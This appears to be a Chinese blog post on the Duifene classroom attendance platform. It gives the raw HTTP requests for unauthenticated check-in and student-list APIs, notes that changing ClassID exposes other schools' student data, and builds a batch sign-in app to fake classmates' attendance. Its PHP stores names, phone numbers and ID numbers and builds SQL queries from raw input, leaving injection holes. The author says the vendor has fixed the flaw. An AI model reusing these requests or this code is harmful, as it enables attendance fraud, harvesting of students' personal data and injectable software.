对分易教学平台考勤漏洞探索,批量签到app制作杂谈

厂商已修复

一次课上,老师让同学们扫描二维码关注对分易教学平台,使用对分易进行考勤,其特点是在设定的时间内,必须在微信里面输入四个数字(老师提供的考勤密码),方式很新颖,但是没有基于生物特征签到的方法都是有漏洞的,遂决定晚上回去研究一下。

1.抓包分析签到接口

使用nslookup得到对分易的IP地址


由于页面只能在微信内部打开,所以在这里使用Wireshark抓包分析,首先笔记本开启wifi分享,手机接入后,启动Wireshark


经过分析我们发现了以下接口:

出勤状态查询接口

POST/_CheckIn/MBCount.ashx HTTP/1.1
Host:www.duifene.com
Connection:keep-alive
Content-Length: 38
Accept: */*
Origin:http://www.duifene.com
X-Requested-With:XMLHttpRequest
User-Agent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/42.0.2311.154 Safari/537.36 LBBROWSER
Content-Type:application/x-www-form-urlencoded; charset=UTF-8
Referer:http://www.duifene.com/_CheckIn/PC/TeachCheckIn.aspx
Accept-Encoding:gzip, deflate
Accept-Language:zh-CN,zh;q=0.8

 
action=getcheckintotalbyciid&ciid=6666


返回格式:

{"OutNumber":1,"AbsenceNumber": 0, "LateNumber": 0,"LeaveNumber": 0,"TotalNumber":1}

经过分析得出下列含义:

出勤1  缺勤0 迟到0 请假0  总数1


签到接口

POST/_CheckIn/CheckIn.ashx HTTP/1.1
Host:www.duifene.com
Connection:keep-alive
Content-Length: 54
Accept: */*
Origin:http://www.duifene.com
X-Requested-With:XMLHttpRequest
User-Agent:Mozilla/5.0 (Linux; Android 5.1.1;) AppleWebKit/537.36(KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile MQQBrowser/6.8TBS/036824 Safari/537.36 MicroMessenger/6.3.27.880 NetType/WIFI Language/zh_CN
Content-Type:application/x-www-form-urlencoded; charset=UTF-8
Referer:http://www.duifene.com/_CheckIn/MB/CheckInStudent.aspx?pasd=0.83
Accept-Encoding:gzip, deflate
action=studentcheckin&studentid=666666&checkincode=0221

返回格式:

{"msg":1,"msgbox":"签到成功!"}

然后使用postman请求接口发现


成功了! 显然对方没有对接口请求做验证

签到的时候需要携带三个变量

action   studentid  checkincode 分别为:动作  学生ID  考勤密码

那么问题来了,学生ID从什么地方获取,继续抓包,在查看学生列表中发现了下面这个接口。

获取全班接口

http://www.duifene.com/_UserCenter/StudentsList.ashx
Content-Disposition:form-data; name="action"
getstudentlist
Content-Disposition:form-data; name="ClassID"
6666
使用这个接口可以获取全班学生的详细信息


 (后来发现这个接口更换classID可以获取平台上其他学校的学生信息,有信息泄露的风险,太不严谨了,希望厂商添加token验证)

这个接口需要携带ClassID,那么这个ID从哪儿得到?经过分析发现,在PC端页面中存在几个隐藏的input,图中红色框内即是ClassID,使用这个接口就可以得到本班所有人的studentid

2.APP制作

方法已经找到了,就是简单的接口请求,那么开始着手做一个简单的Android APP。

2.1 UI设计

功能为一键签到,遂想起来了百度贴吧的一键签到页面


使用hierarchyviewer分析其布局,上半部分主要如下


仿照其大体做了一个(感觉不如人家的漂亮%>_<%)

2.2服务端

由于获取到的本班学生信息有很多,在这里只需要studentid,idno,username,一个一个粘贴太累,用php写了一个小程序,将所需的信息导入了数据库

<?php
/**
 * Created by PhpStorm.
 * Date: 2016/10/13
 * Time: 22:44
 */
header("Content-type:text/html; charset=utf-8");
try{
    $pdo = new PDO();
 
    $pdo->query("set names'utf8'");
}catch(PDOException$e){
    die("数据库连接失败".$e->getMessage());
}
$class_string_json= file_get_contents("class.json");
$class_array =json_decode($class_string_json);
$insert_sql ="";
for($i=0;$i<count($class_array);$i++){
    $insert_sql = "insert intostudent_info (id,username,phone,idno) VALUES({$class_array[$i]->ID},'{$class_array[$i]->UserName}',{$class_array[$i]->Phone},{$class_array[$i]->IDNO})";
    $row = $pdo->exec($insert_sql);
    if($row){
       echo $class_array[$i]->IDNO."  success";
    }
}

再写一个用于添加学生时获取studentid的程序

<?php
/**
 * Created by PhpStorm.
 * Date: 2016/10/14
 * Time: 14:10
 */
header("Content-type:text/html; charset=utf-8");
try{
    $pdo = new PDO();
    $pdo->query("set names'utf8'");
}catch(PDOException$e){
    die("数据库连接失败".$e->getMessage());
}
$IDNO =$_GET['IDNO'];
if($token == $_GET['token']){
         $select_IDNO_sql = "selectid,username,idno from student_info where idno='{$IDNO}'";
         $rs = $pdo->query($select_IDNO_sql);
         $rs->setFetchMode(PDO::FETCH_ASSOC);
         $row = $rs->fetch();
 
         if($row != ""){
                   $row['msg'] = "1";
                   echo json_encode($row);
         }else{
                   $row['msg'] = "0";
                   echo json_encode($row);
         }
 
    exit();
}else{
         exit('非法访问 token error');
}


2.3客户端

通过学号预先添加学生,当课上签到的时候输入考勤密码,点击圆形按钮即可批量签到。

 <--本文章仅学习交流之用,如有侵权请联系我-->

 

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值